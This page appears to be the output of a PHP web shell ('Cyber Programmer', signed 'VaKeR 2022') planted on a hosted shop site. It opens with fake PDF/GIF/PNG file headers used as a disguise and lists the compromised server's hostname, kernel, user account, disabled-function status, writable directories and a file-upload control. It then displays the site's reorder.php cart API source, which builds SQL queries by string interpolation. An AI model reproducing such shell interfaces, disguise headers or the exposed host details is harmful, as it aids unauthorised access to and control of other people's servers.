%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/public_html/website_6ca89795/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/public_html/website_6ca89795/api/reorder.php
<?php

header("Content-Type: application/json");

include("../dbcon.php");
include("auth.php");

define('BASE_URL', 'https://meatandgo.fr/');

function response($status, $message, $data = [])
{
    echo json_encode([
        "status" => $status,
        "message" => $message,
        "data" => $data
    ], JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT);
    exit;
}

/*
|--------------------------------------------------------------------------
| Support Form Data + Raw JSON
|--------------------------------------------------------------------------
*/

$json = json_decode(file_get_contents("php://input"), true);

$order_id = intval(
    $_REQUEST['order_id']
    ?? $json['order_id']
    ?? 0
);

/*
|--------------------------------------------------------------------------
| Validation
|--------------------------------------------------------------------------
*/

if ($order_id <= 0)
{
    response(false, "Order ID Required", [

        "required_fields" => [
            "order_id"
        ],

        "example_url" =>
            BASE_URL .
            "api/reorder.php?order_id=1",

        "sample_request" => [
            "order_id" => 1
        ]
    ]);
}

/*
|--------------------------------------------------------------------------
| Check Order
|--------------------------------------------------------------------------
*/

$orderQry = mysqli_query(
    $conn,
    "SELECT *
     FROM orders
     WHERE id='$order_id'
     AND user_id='$user_id'
     LIMIT 1"
);

if (mysqli_num_rows($orderQry) == 0)
{
    response(false, "Order Not Found");
}

$order = mysqli_fetch_assoc($orderQry);

/*
|--------------------------------------------------------------------------
| Get Order Items
|--------------------------------------------------------------------------
*/

$itemQry = mysqli_query(
    $conn,
    "SELECT *
     FROM order_items
     WHERE order_id='$order_id'"
);

if (mysqli_num_rows($itemQry) == 0)
{
    response(false, "No Products Found In Order");
}

$added_products = [];

while ($item = mysqli_fetch_assoc($itemQry))
{
    $product_id = (int)$item['product_id'];
    $quantity   = (int)$item['quantity'];

    /*
    |--------------------------------------------------------------------------
    | Check Product Exists
    |--------------------------------------------------------------------------
    */

    $productQry = mysqli_query(
        $conn,
        "SELECT *
         FROM areawecover
         WHERE id='$product_id'
         AND status='1'
         LIMIT 1"
    );

    if (mysqli_num_rows($productQry) == 0)
    {
        continue;
    }

    $product = mysqli_fetch_assoc($productQry);

    /*
    |--------------------------------------------------------------------------
    | Check Already In Cart
    |--------------------------------------------------------------------------
    */

    $cartQry = mysqli_query(
        $conn,
        "SELECT *
         FROM cart_items
         WHERE user_id='$user_id'
         AND product_id='$product_id'
         LIMIT 1"
    );

    if (mysqli_num_rows($cartQry) > 0)
    {
        $cart = mysqli_fetch_assoc($cartQry);

        $new_qty =
            $cart['quantity'] +
            $quantity;

        mysqli_query(
            $conn,
            "UPDATE cart_items
             SET quantity='$new_qty'
             WHERE id='".$cart['id']."'"
        );
    }
    else
    {
        mysqli_query(
            $conn,
            "INSERT INTO cart_items
            (
                user_id,
                product_id,
                quantity
            )
            VALUES
            (
                '$user_id',
                '$product_id',
                '$quantity'
            )"
        );
    }

    $added_products[] = [

        "product_id" =>
            $product['id'],

        "title" =>
            $product['title'],

        "quantity" =>
            $quantity,

        "price" =>
            $currency_symbol .
            number_format(
                $product['price'],
                2
            )
    ];
}

/*
|--------------------------------------------------------------------------
| Cart Count
|--------------------------------------------------------------------------
*/

$countQry = mysqli_query(
    $conn,
    "SELECT COUNT(*) as total
     FROM cart_items
     WHERE user_id='$user_id'"
);

$countRow = mysqli_fetch_assoc($countQry);

/*
|--------------------------------------------------------------------------
| Response
|--------------------------------------------------------------------------
*/

response(true, "Products Added To Cart Successfully", [

    "order_id" =>
        $order['id'],

    "order_number" =>
        $order['unique_order_id'],

    "total_products_added" =>
        count($added_products),

    "cart_count" =>
        (int)$countRow['total'],

    "products" =>
        $added_products,

    "next_api" => [

        "cart_api" =>
            BASE_URL .
            "api/cart.php"
    ]
]);

$conn->close();

?>

VaKeR 2022